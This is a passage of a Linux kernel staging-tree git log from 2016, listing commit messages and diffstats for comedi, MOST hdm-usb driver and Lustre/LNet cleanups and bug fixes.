comedi API and requires some out-of-tree patches in order to even work. Remove the subdevice support. If a proper register map can be located for this board we can add support back later. Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman .../comedi/drivers/addi-data/hwdrv_apci3501.c | 141 --------------------- drivers/staging/comedi/drivers/addi_apci_3501.c | 58 +-------- 2 files changed, 2 insertions(+), 197 deletions(-) commit 686869b451b0b106cf6b365361fd577080fbca7a Author: Ian Abbott Date: Mon Jun 20 14:05:49 2016 +0100 staging: comedi: plx9080.h: rename some macros for consistency Most of the macros in "plx9080.h" that define register values are single-bits flags of the form `PLX__`, or are constant, multi-bit values of the form `PLX___`, or are non-constant, function-like macros of the form `PLX__(x)`. Some of the macros for constant, multi-bit values do not currently fit the pattern, so rename them for consistency. Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/cb_pcidas64.c | 4 +-- drivers/staging/comedi/drivers/gsc_hpdi.c | 2 +- drivers/staging/comedi/drivers/plx9080.h | 46 ++++++++++++++-------------- 3 files changed, 26 insertions(+), 26 deletions(-) commit 6ad124d53a761b01b5b2ab78e6e77f0cef7a2b9e Author: Ian Abbott Date: Mon Jun 20 14:05:48 2016 +0100 staging: comedi: plx9080.h: define PLX__TO_(r) macros Various macros in "plx9080.h" take the form `PLX__(x)`, where `` is a register name, `` is a field within the register, and `x` is a value for the field specified by the caller. The macros construct a partial register register with the specified field value placed in the appropriate bits of the register value, and other bits of the register value zeroed. Add corresponding macros of the form `PLX__TO_(r)` that extract a field value from a specified register values. Remove macros of the form `PLX___SHIFT` that specified the bit position of a field within a register value as they are no longer useful. Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/plx9080.h | 49 +++++++++++++++----------------- 1 file changed, 23 insertions(+), 26 deletions(-) commit 5bf9bd8d19834f9ace200af06a58a032542fc427 Author: Christian Gromm Date: Fri Aug 19 11:13:01 2016 +0200 staging: most: hdm-usb: add support for new USB gadget This patch is needed to make the driver support Microchip's OS81210 USB MOST network interface controller. It simply adds the gadget's product ID to the driver's ID table. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 9736fc0434f4b6ad257ae1a212e4e82336b66615 Author: Christian Gromm Date: Fri Aug 19 11:13:00 2016 +0200 staging: most: hdm-usb: remove unnecessary status assignment The USB completion callbacks set the status field of an MBO object before scheduling the clear_work. This patch removes this redundant assignment as the work_struct does the same for all MBOs. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 2 -- 1 file changed, 2 deletions(-) commit 089612f183efb488c10e98c11feb12a2ed8c31f0 Author: Christian Gromm Date: Fri Aug 19 11:12:59 2016 +0200 staging: most: hdm-usb: init variables at declaration time This patch initializes variables by the time they are declared. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 72 +++++++++++----------------------- 1 file changed, 23 insertions(+), 49 deletions(-) commit dd53ecbace23f61d10bf13cc678e36e85290a28b Author: Christian Gromm Date: Fri Aug 19 11:12:58 2016 +0200 staging: most: hdm-usb: remove redundant parenthesis This patch removes unnecessary parenthesis in boolean expressions. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 51 +++++++++++++++++----------------- 1 file changed, 25 insertions(+), 26 deletions(-) commit 4b1a7cf1cc6aa0ae1a946be8ddddefcd61ff49f1 Author: Christian Gromm Date: Fri Aug 19 11:12:57 2016 +0200 staging: most: hdm-usb: remove completion object Waiting for the urb_compl object to complete evaluates always as false. This patch removes this unnecessary completion object. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit b24c9fe9fcf9c7a04fa08e5c1da7d156011e6b63 Author: Christian Gromm Date: Fri Aug 19 11:12:56 2016 +0200 staging: most: hdm-usb: synchronize release of struct buf_anchor In case a channel that is going to be destroyed has been tagged as not "healthy" by the function hdm_poison_channel() while the functions hdm_write_completion() or hdm_read_completion() are being executed, they race for destruction of buf_anchor. This patch fixes the problem. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit cf6a599ef700914d9237f4dcf7afe01dd2ca6368 Author: Christian Gromm Date: Fri Aug 19 11:12:55 2016 +0200 staging: most: hdm-usb: assign spinlock to local variable This patch assigns the spinlock of struct mdev to local spinlock_t variable to get rid of all the ugly dereferencing. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) commit bf9503f11dedf40158a8a5847f2d482bc15cd82b Author: Christian Gromm Date: Fri Aug 19 11:12:54 2016 +0200 staging: most: hdm-usb: fix race between enqueue and most_stop_enqueue The "broken in pipe" handler of the USB-HDM calls most_stop_enqueue() to stop the MBO traffic before returning all MBOs back to the Mostcore. As the enqueue() call from the Mostcore may run in parallel with the most_stop_enqueue(), the HDM may run into the inconsistent state and crash the kernel. This patch synchronizes enqueue(), most_stop_enqueue() and most_resume_enqueue() with a mutex, hence avoiding the race condition. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 3 +- drivers/staging/most/mostcore/core.c | 53 ++++++++++++++++++++++++---------- 2 files changed, 38 insertions(+), 18 deletions(-) commit cf05918370006fbdb6dc5708ca9951ee8093b8ef Author: Christian Gromm Date: Fri Aug 19 11:12:53 2016 +0200 staging: most: hdm-usb: simplify initialization of mbo->status. This patch simplifies the code that initializes mbo->status. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 4246501e23be88383fed31ba0df6f0af7b91e176 Author: Christian Gromm Date: Fri Aug 19 11:12:52 2016 +0200 staging: most: hdm-usb: remove redundant conditions This patch removes the duplication of the expression (urb->status == -ENOENT || urb->status == -ECONNRESET). Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 879c93fefd3dcbce414ffccdf5cbd5685b18afed Author: Christian Gromm Date: Fri Aug 19 11:12:51 2016 +0200 staging: most: hdm-usb: make use of is_channel_healthy flag This patch makes the write completion handler use the is_channel_healthy flag to prevent the hdm from scheduling a second clear_halt workqueue in case an endpoint reported a STALL condition. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 3 +++ 1 file changed, 3 insertions(+) commit 654f7ec4b3b8aca70fc7215651b6c45066bf74c1 Author: Christian Gromm Date: Fri Aug 19 11:12:50 2016 +0200 staging: most: hdm-usb: rename ID_INIC for consistency In order to have a consistent naming convention this patch renames USB_DEV_ID_INIC to USB_DEV_ID_OS81118. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b50762eaf853999c0ab51730858b07196ec7530d Author: Christian Gromm Date: Fri Aug 19 11:12:49 2016 +0200 staging: most: hdm-usb: add USB product id This patch adds support for the OS81119 MOST network interface controller to the driver. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 72df4a55e9ab955d2143e638d9b24343e7658d6f Author: Christian Gromm Date: Fri Aug 19 11:12:48 2016 +0200 staging: most: hdm-usb: stop core from submitting buffers in case of broken pipe This patch ensures that no more packets are submitted by the core in case an USB endpoint has reported a broken pipe (-EPIPE). Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cc28983c322030ce7a3d748833186eab86a41570 Author: Christian Gromm Date: Fri Aug 19 11:12:47 2016 +0200 staging: most: hdm-usb: fix clear halt processing This patch is needed to ensure that submitted URBs get unlinked before the driver calls usb_clear_halt(). Since the halt condition of an USB endpoint is channel related, the work_struct is moved from a buffer basis to a channel basis. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 62 ++++++++++++++++------------------ 1 file changed, 29 insertions(+), 33 deletions(-) commit 9ed745ff8e80fbb600f386013bab9c361202866c Author: Christian Gromm Date: Fri Aug 19 11:12:46 2016 +0200 staging: most: hdm-usb: provide MBO status when freeing buffers This patch adds the additional status parameter to function free_anchored_buffers. This allows to dispatch further processing based on this flag. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit cce930193778f6f3bb0f57b871080da0ca3d1f88 Author: Christian Gromm Date: Fri Aug 19 11:12:45 2016 +0200 staging: most: hdm-usb: remove unused macro HW_RESYNC This patch removes the macro HW_RESYNC that is not used anymore. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 1 - 1 file changed, 1 deletion(-) commit 324e87b7e135c01725a9cef02cb8436f65e65f07 Author: Christian Gromm Date: Fri Aug 19 13:09:34 2016 +0200 staging: most: aim-cdev: report error returned by alloc_chrdev_region This patch forwards the error code returned by function alloc_chrdev_region(). It is needed to stop the module from hiding the actual cause of failure. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-cdev/cdev.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 9b28e14818ad959516e99b7ba3d1fc2e5500ca51 Author: Christian Gromm Date: Fri Aug 19 13:09:33 2016 +0200 staging: most: aim-cdev: fix reported error codes Currently, the aim-cdev is returning different error codes for the same root cause. This patch is needed to get rid of the module's inconsistency when reporting errors. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-cdev/cdev.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 18c6e2d60263022ee82953de6a66d171db0377fd Author: Shawn Lin Date: Sun Aug 21 10:44:37 2016 +0800 staging: lustre: llite: don't clean in_data again We have got a zero buffer for in_data as we use kzalloc here. So let's remove it anyway. Signed-off-by: Shawn Lin Acked-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/file.c | 1 - 1 file changed, 1 deletion(-) commit 550982ccdb8710e2b28e4ad7211fcca8694a1282 Author: Anson Jacob Date: Tue Aug 16 15:20:00 2016 -0400 staging: lustre: fix checkpatch error convert spaces to tab fix the following error messages from checkpatch.pl ERROR: code indent should use tabs where possible WARNING: please, no spaces at the start of a line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8701dbf9acb9475caf94dc738796ae5465af9561 Author: Oleg Drokin Date: Sat Aug 20 17:34:30 2016 -0400 Add James Simmons as another Lustre maintainer James Simmons is also spendign a lot of efforts on cleaning up staging tree Lustre code and also helps to sync up all the missing changes from the other tree. Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 49880263163547bf8fe526d1006052729afb29e2 Author: Emoly Liu Date: Sat Aug 20 17:34:27 2016 -0400 staging/lustre: Fix unnecessary parentheses around variables This patch fixes all checkpatch occurences of "CHECK: Unnecessary parentheses around xxx" in Lustre code. Signed-off-by: Emoly Liu Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/include/lustre/lustre_user.h | 2 +- drivers/staging/lustre/lustre/lov/lov_obd.c | 4 ++-- drivers/staging/lustre/lustre/lov/lov_pool.c | 16 ++++++++-------- drivers/staging/lustre/lustre/obdclass/genops.c | 4 ++-- drivers/staging/lustre/lustre/obdclass/llog.c | 2 +- drivers/staging/lustre/lustre/obdclass/lustre_handles.c | 2 +- drivers/staging/lustre/lustre/obdclass/obd_config.c | 2 +- drivers/staging/lustre/lustre/obdclass/obd_mount.c | 2 +- drivers/staging/lustre/lustre/osc/osc_request.c | 2 +- drivers/staging/lustre/lustre/ptlrpc/pack_generic.c | 6 +++--- 10 files changed, 21 insertions(+), 21 deletions(-) commit 182ae52ddbe6acf99d876ebef9723240b1a662fb Author: James Simmons Date: Fri Aug 19 14:07:31 2016 -0400 staging: lustre: update version to 2.5.99 With all but one of the the missing patches from the lustre 2.6 version merged upstream its time to update the upstream clients version. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_ver.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 70a251f68dea16eab3c502261f3a2e957751e2ab Author: John L. Hammond Date: Fri Aug 19 14:07:30 2016 -0400 staging: lustre: obd: decruft md_enqueue() and md_intent_lock() Remove the lmm and lmmsize parameters from both functions, storing that data in md_op_data when needed. Remove the unused lookup_flags parameter from md_intent_lock(), and the unused reqp parameter from md_enqueue(). Add a union ldlm_policy_data * parameter to md_enqueue(). Remove the unused function lmv_enqueue_remote(). Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10205 Reviewed-by: wangdi Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 7 ++- drivers/staging/lustre/lustre/include/obd_class.h | 18 +++--- drivers/staging/lustre/lustre/llite/file.c | 39 ++++++------ drivers/staging/lustre/lustre/llite/namei.c | 4 +- drivers/staging/lustre/lustre/llite/xattr_cache.c | 12 ++-- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 50 +++++++--------- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 3 +- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 72 ++--------------------- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 10 ++-- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 47 ++++++--------- drivers/staging/lustre/lustre/mdc/mdc_request.c | 2 +- 11 files changed, 90 insertions(+), 174 deletions(-) commit 58c78cd2be958ffb97df6dd6dcef34e376162852 Author: John L. Hammond Date: Fri Aug 19 14:07:29 2016 -0400 staging: lustre: obd: remove dead code Remove unused OBD functions: oti_alloc_cookies(), oti_free_cookies(), class_observe_import(), class_unobserve_import(), md_is_subdir(), md_readpage(), obdo2fid(), fid2obdo(). Remove several unused, get-only, and set-only structure members. Signed-off-by: John L. Hammond Signed-off-by: James Simmons Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/9784 Reviewed-by: Bob Glossman Reviewed-by: Dmitry Eremin Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 6 +- .../staging/lustre/lustre/include/lustre_import.h | 22 -------- drivers/staging/lustre/lustre/include/lustre_log.h | 3 +- .../lustre/lustre/include/lustre_req_layout.h | 3 - drivers/staging/lustre/lustre/include/obd.h | 64 ---------------------- drivers/staging/lustre/lustre/include/obd_class.h | 49 ++--------------- .../staging/lustre/lustre/include/obd_support.h | 1 - drivers/staging/lustre/lustre/mdc/mdc_internal.h | 2 - drivers/staging/lustre/lustre/mdc/mdc_lib.c | 15 ----- drivers/staging/lustre/lustre/mdc/mdc_request.c | 27 --------- drivers/staging/lustre/lustre/obdclass/class_obd.c | 25 --------- .../lustre/lustre/obdclass/linux/linux-obdo.c | 2 +- .../staging/lustre/lustre/obdclass/obd_config.c | 16 +----- drivers/staging/lustre/lustre/obdclass/obdo.c | 7 ++- .../staging/lustre/lustre/obdecho/echo_client.c | 1 - drivers/staging/lustre/lustre/osc/osc_request.c | 12 ++-- drivers/staging/lustre/lustre/ptlrpc/layout.c | 17 ------ 17 files changed, 18 insertions(+), 254 deletions(-) commit 4edc630ae98de2cf22310d49f8b012ab915dfaf4 Author: wang di Date: Fri Aug 19 14:07:28 2016 -0400 staging: lustre: mdt: add OBD_CONNECT_DIR_STRIPE flag Add OBD_CONNECT_DIR_STRIPE to tell if the client supports striped dir, so only new client (>= 2.6) can access striped directory. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4843 Reviewed-on: http://review.whamcloud.com/10773 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Reviewed-by: Bob Glossman Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 1 + drivers/staging/lustre/lustre/llite/llite_lib.c | 3 ++- drivers/staging/lustre/lustre/obdclass/lprocfs_status.c | 2 ++ drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 2 ++ 4 files changed, 7 insertions(+), 1 deletion(-) commit 5ef5ee255581f9322f69fe66659fcc8b45a991dd Author: Jian Yu Date: Fri Aug 19 14:07:27 2016 -0400 staging: lustre: obd: remove unused lmv_readpages()/mdc_readpage() This patch fixes the following compile error by removing the dead codes: "error: 'xxx_readpages' defined but not used". Now that we have md_read_page functionality we can remove all the *_readpage implementations. Signed-off-by: Jian Yu Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4669 Reviewed-on: http://review.whamcloud.com/9810 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 146 ------------------------ drivers/staging/lustre/lustre/mdc/mdc_request.c | 82 ------------- 2 files changed, 228 deletions(-) commit 4f76f0ec093c2f9ef049495c78d486bfb48e4de0 Author: wang di Date: Fri Aug 19 14:07:26 2016 -0400 staging: lustre: llite: move dir cache to MDC layer Move directory entries cache from llite to MDC, so client side dir stripe will use independent hash function(in LMV), which does not need to be tightly coupled with the backend storage dir-entry hash function. With striped directory, it will be 2-tier hash, LMV calculate hash value according to the name and hash-type in layout, then each MDT will store these entry in disk by its own hash. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-on: http://review.whamcloud.com/7043 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/include/lustre_lite.h | 11 - drivers/staging/lustre/lustre/llite/dir.c | 334 +------------ .../staging/lustre/lustre/llite/llite_internal.h | 2 +- drivers/staging/lustre/lustre/llite/statahead.c | 12 +- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 8 + drivers/staging/lustre/lustre/mdc/mdc_request.c | 531 +++++++++++++++++++++ 6 files changed, 563 insertions(+), 335 deletions(-) commit 7ccb7c8f17213a4a7638555958e763befdf5a167 Author: wang di Date: Fri Aug 19 14:07:25 2016 -0400 staging: lustre: lmv: implement lmv version of read_page All the code needed to implement read_page. This will eventually replace lmv_readpage. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 329 ++++++++++++++++++++++++++++ 1 file changed, 329 insertions(+) commit 3a77df1180acf1cbe2276a0cbe91e5d07fbf3c47 Author: Oleg Drokin Date: Sat Aug 20 17:34:25 2016 -0400 staging/lustre: Always return EEXIST on mkdir for existing names if the name already exists, but we don't have write permissions in the parent, force talking to the MDS to determine what more sensical error code to return. This also happens to fix matlab and other such programs that assume that EEXIST is the only valid error code for mkdir of an existing directory. Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 4cae780e54db3a8d75752bda812547db9f1c1c45 Author: Al Viro Date: Sat Aug 20 17:34:24 2016 -0400 lustre: introduce lnet_copy_{k, }iov2iter(), kill lnet_copy_{k, }iov2{k, }iov() Signed-off-by: Al Viro Signed-off-by: James Simmons Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/include/linux/lnet/lib-lnet.h | 57 +--- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 37 ++- drivers/staging/lustre/lnet/lnet/lib-move.c | 314 ++++----------------- drivers/staging/lustre/lnet/lnet/lo.c | 35 +-- 4 files changed, 86 insertions(+), 357 deletions(-) commit c1b7b8eb86583eae68814c4993c916fc61b5e03b Author: Al Viro Date: Sat Aug 20 17:34:23 2016 -0400 lustre: pass iov_iter to ->lnd_recv() Signed-off-by: Al Viro Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/include/linux/lnet/lib-types.h | 5 +--- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd.h | 3 +- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 32 ++++++++++++---------- .../staging/lustre/lnet/klnds/socklnd/socklnd.h | 4 +-- .../staging/lustre/lnet/klnds/socklnd/socklnd_cb.c | 21 ++++++-------- drivers/staging/lustre/lnet/lnet/lib-move.c | 11 ++++++-- drivers/staging/lustre/lnet/lnet/lo.c | 24 ++++++++-------- 7 files changed, 49 insertions(+), 51 deletions(-) commit 03766dca629d03c631417ecdbe1c760f3ec92878 Author: Al Viro Date: Sat Aug 20 17:34:22 2016 -0400 lustre: constify lib-move.c stuff Signed-off-by: Al Viro Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/include/linux/lnet/lib-lnet.h | 28 +++++++++++----------- drivers/staging/lustre/lnet/lnet/lib-move.c | 20 ++++++++-------- 2 files changed, 24 insertions(+), 24 deletions(-) commit a48228486532471f568f4c490dfe853dfa273774 Author: Al Viro Date: Sat Aug 20 17:34:21 2016 -0400 lustre: ->kss_scratch... are unused now Signed-off-by: Al Viro Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/klnds/socklnd/socklnd.h | 4 ---- 1 file changed, 4 deletions(-) commit 1b4e992f50e1bcaf12cec7358e7b388984bc4ea9 Author: Al Viro Date: Sat Aug 20 17:34:20 2016 -0400 staging: lustre: ksocknal_lib_send_kiov(): sendmsg doesn't bugger iovec... Signed-off-by: Al Viro Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../lustre/lnet/klnds/socklnd/socklnd_lib.c | 29 ++++------------------ 1 file changed, 5 insertions(+), 24 deletions(-) commit 805560e8f12c693f78f8e914757f725c6ef05a6d Author: Al Viro Date: Sat Aug 20 17:34:19 2016 -0400 staging: lustre: ksocknal_lib_send_iov(): sendmsg doesn't bugger iovec... Signed-off-by: Al Viro Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../lustre/lnet/klnds/socklnd/socklnd_lib.c | 38 ++++++---------------- 1 file changed, 10 insertions(+), 28 deletions(-) commit 8040ddfb683247a73cb0f8e183aa80310c6c4b30 Author: Al Viro Date: Sat Aug 20 17:34:18 2016 -0400 staging: lustre: ksocknal_lib_recv_iov(): recvmsg doesn't bugger iovec anymore... Signed-off-by: Al Viro Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../lustre/lnet/klnds/socklnd/socklnd_lib.c | 22 +++++----------------- 1 file changed, 5 insertions(+), 17 deletions(-) commit 72e62b6c7cebf894738a8e49bb62492717bde4f5 Author: Doug Oucharek Date: Tue Aug 16 16:19:33 2016 -0400 staging: lustre: lnet: Stop Infinite CON RACE Condition In current code, when a CON RACE occurs, the passive side will let the node with the higher NID value win the race. We have a field case where a node can have a "stuck" connection which never goes away and is the trigger of a never-ending loop of re-connections. This patch introduces a counter to how many times a connection in a connecting state has been the cause of a CON RACE rejection. After 20 times (constant MAX_CONN_RACES_BEFORE_ABORT), we assume the connection is stuck and let the other side (with lower NID) win. Signed-off-by: Doug Oucharek Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7646 Reviewed-on: http://review.whamcloud.com/19430 Reviewed-by: Amir Shehata Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd.h | 2 ++ .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 24 ++++++++++++++++++---- 2 files changed, 22 insertions(+), 4 deletions(-) commit ba5301428e4536fdb8844507c62a1c7289556525 Author: Liang Zhen Date: Tue Aug 16 16:19:32 2016 -0400 staging: lustre: lnet: lock improvement for ko2iblnd kiblnd_check_sends() takes conn::ibc_lock at the begin and release this lock at the end, this is inefficient because most use-case needs to explicitly release ibc_lock before caling this function. This patches changes it to kiblnd_check_sends_locked() and avoid unnecessary lock dances. Signed-off-by: Liang Zhen Signed-off-by: Doug Oucharek Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7099 Reviewed-on: http://review.whamcloud.com/20322 Reviewed-by: Amir Shehata Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 46 +++++++++------------- 1 file changed, 18 insertions(+), 28 deletions(-) commit d04c0943c1d3bb4b8d8b8814c717c7a7059b8434 Author: Alexander Boyko Date: Tue Aug 16 16:19:31 2016 -0400 staging: lustre: lnet: make connection more stable with packet loss IB network may lose last connection handshake packet. This problem isn't Lustre specific and described at https://oss.oracle.com/pipermail/rds-devel/2007-December/000271.html for example. Solution is to make conection established if any packet is received for it. Signed-off-by: Alexander Boyko Signed-off-by: Alexey Lyashkov Seagate-bug-id: MRP-2883 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8303 Reviewed-on: http://review.whamcloud.com/20874 Reviewed-by: Doug Oucharek Reviewed-by: Alexander Zarochentsev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 6 ++++++ 1 file changed, 6 insertions(+) commit af96bab11b4cdc009fa78e55c328a0baccd7db90 Author: Doug Oucharek Date: Tue Aug 16 16:19:30 2016 -0400 staging: lustre: lnet: Correct position of lnet_ni_decref() In fix http://review.whamcloud.com/#/c/19614/, the call to lnet_ni_decref() should have followed the routines which are using the NI. This patch correct that. Signed-off-by: Doug Oucharek Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8022 Reviewed-on: http://review.whamcloud.com/21001 Reviewed-by: James Simmons Reviewed-by: John L. Hammond Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e426f0d24e1c92f54098758cc83eb16989c48855 Author: Doug Oucharek Date: Tue Aug 16 16:19:29 2016 -0400 staging: lustre: lnet: Do not drop message when shutting down LNet There is a case in lnet_parse() where we discover that LNet is shutting down but we continue to use the NI when we drop the message and end up calling ko2iblnd_check_send_locked() which tries to allocate from the Tx pool which has been cleaned up already. This triggers a NULL pointer dereference. This fix just returns from lnet_parse() when we disover LNet is shutting down. Signed-off-by: Doug Oucharek Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8106 Reviewed-on: http://review.whamcloud.com/19993 Reviewed-by: James Simmons Reviewed-by: Liang Zhen Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/lnet/lib-move.c | 3 +++ 1 file changed, 3 insertions(+) commit bce1bbf4b8903d557fd01dc1f7e01fab71b306d1 Author: wang di Date: Tue Aug 16 16:19:28 2016 -0400 staging: lustre: llite: set op_max_pages Cache the maximum allowed pages supported by the llite layer. This value will be used in the mdc and lmv layer. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 1 + drivers/staging/lustre/lustre/llite/llite_nfs.c | 1 + drivers/staging/lustre/lustre/llite/statahead.c | 6 ++++++ 3 files changed, 